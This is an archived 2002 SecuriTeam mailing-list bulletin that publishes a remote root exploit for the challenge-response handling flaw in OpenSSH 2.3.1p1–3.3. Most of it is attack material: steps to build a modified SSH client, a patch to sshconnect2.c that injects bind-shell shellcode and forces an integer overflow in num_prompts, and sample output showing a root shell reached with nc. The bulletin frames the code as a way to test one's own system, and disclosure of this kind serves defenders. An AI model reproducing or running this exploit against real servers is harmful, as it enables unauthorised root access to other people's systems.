

[EXPL] OpenBSD SSHd Remote Root Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0000.html>

From: support@securiteam.com

Date: 07/01/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 1 Jul 2002 06:59:37 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

OpenBSD SSHd Remote Root Exploit

SUMMARY

There are two related vulnerabilities in the challenge response handling code in OpenSSH versions 2.3.1p1 through 3.3. They may allow a remote intruder to execute arbitrary code as the user running SSHd (often root).

The first vulnerability affects OpenSSH versions 2.9.9 through 3.3 that have the challenge response option enabled and that use SKEY or BSD_AUTH authentication. The second vulnerability affects PAM modules using interactive keyboard authentication in OpenSSH versions 2.3.1p1 through 3.3, regardless of the challenge response option setting. Additionally, a number of other possible security problems have been corrected in OpenSSH version 3.4.

The following is an exploit code that would allow you to test your system for the mentioned problem.

For additional information about this vulnerability see our previous article: <http://www.securiteam.com/securitynews/5MPOL207FG.html>> OpenSSH Vulnerabilities in Challenge Response Handling.

DETAILS

Exploit code:

1. Download openssh-3.2.2p1.tar.gz and untar it

Securiteam: [EXPL] OpenBSD SSHd Remote Root Exploit

```
~ $ tar -xvzf openssh-3.2.2p1.tar.gz
```

2. Apply the patch provided below by running:

```
~/openssh-3.2.2p1 $ patch < path_to_diff_file
```

3. Compile the patched client

```
~/openssh-3.2.2p1 $ ./configure && make ssh
```

4. Run the evil SSH:

```
~/openssh-3.2.2p1 $ ./ssh root:skey@localhost
```

5. If the exploit worked, you can connect to port 128 in another terminal:

```
~ $ nc localhost 128
```

```
uname -a
```

```
OpenBSD nice 3.1 GENERIC#59 i386
```

```
id
```

```
uid=0(root) gid=0(wheel) groups=0(wheel)
```

```
--- sshconnect2.c Sun Mar 31 20:49:39 2002
```

```
+++ evil-sshconnect2.c Fri Jun 28 19:22:12 2002
```

```
@@ -839,6 +839,56 @@
```

```
/*
```

```
 * parse INFO_REQUEST, prompt user and send INFO_RESPONSE
```

```
*/
```

```
+
```

```
+int do_syscall( int nb_args, int syscall_num, ... );
```

```
+
```

```
+void shellcode( void )
```

```
+{
```

```
+ int server_sock, client_sock, len;
```

```
+ struct sockaddr_in server_addr;
```

```
+ char rootshell[12], *argv[2], *envp[1];
```

```
+
```

```
+ server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
```

```
+ server_addr.sin_addr.s_addr = 0;
```

```
+ server_addr.sin_port = 32768;
```

```
+ server_addr.sin_family = AF_INET;
```

```
+ do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr,  
16 );
```

```
+ do_syscall( 2, 106, server_sock, 1 );
```

```
+ client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
```

```
+ &server_addr, &len );
```

```
+ do_syscall( 2, 90, client_sock, 0 );
```

```
+ do_syscall( 2, 90, client_sock, 1 );
```

```
+ do_syscall( 2, 90, client_sock, 2 );
```

```
+ * (int *) ( rootshell + 0 ) = 0x6E69622F;
```

```
+ * (int *) ( rootshell + 4 ) = 0x0068732f;
```

Securiteam: [EXPL] OpenBSD SSHd Remote Root Exploit

```
+ * (int *) ( rootshell + 8 ) = 0;
+ argv[0] = rootshell;
+ argv[1] = 0;
+ envp[0] = 0;
+ do_syscall( 3, 59, rootshell, argv, envp );
+}
+
+int do_syscall( int nb_args, int syscall_num, ... )
+{
+ int ret;
+ asm(
+ "mov 8(%ebp), %eax; "
+ "add $3,%eax; "
+ "shl $2,%eax; "
+ "add %ebp,%eax; "
+ "mov 8(%ebp), %ecx; "
+ "push_args: "
+ "push (%eax); "
+ "sub $4, %eax; "
+ "loop push_args; "
+ "mov 12(%ebp), %eax; "
+ "push $0; "
+ "int $0x80; "
+ "mov %eax,-4(%ebp)"
+ );
+ return( ret );
+}
+
+void
+input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
+{
+@@ -865,7 +915,7 @@
+ xfree(inst);
+ xfree(lang);
+
+ - num_prompts = packet_get_int();
+ + num_prompts = 1073741824 + 1024;
+ /*
+  * Begin to build info response packet based on prompts requested.
+  * We commit to providing the correct number of responses, so if
+@@ -874,6 +924,13 @@
+ */
+ packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
+ packet_put_int(num_prompts);
+
+ +
+ + for( i = 0; i < 1045; i++ )
+ + packet_put_cstring( "xxxxxxxxxx" );
+ +
+ + packet_put_string( shellcode, 2047 );
+ + packet_send();
+ + return;
```

Securiteam: [EXPL] OpenBSD SSHd Remote Root Exploit

```
debug2("input_userauth_info_req: num_prompts %d", num_prompts);  
for (i = 0; i < num_prompts; i++) {
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:devine@ije.cnam.fr>
Christophe Devine.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)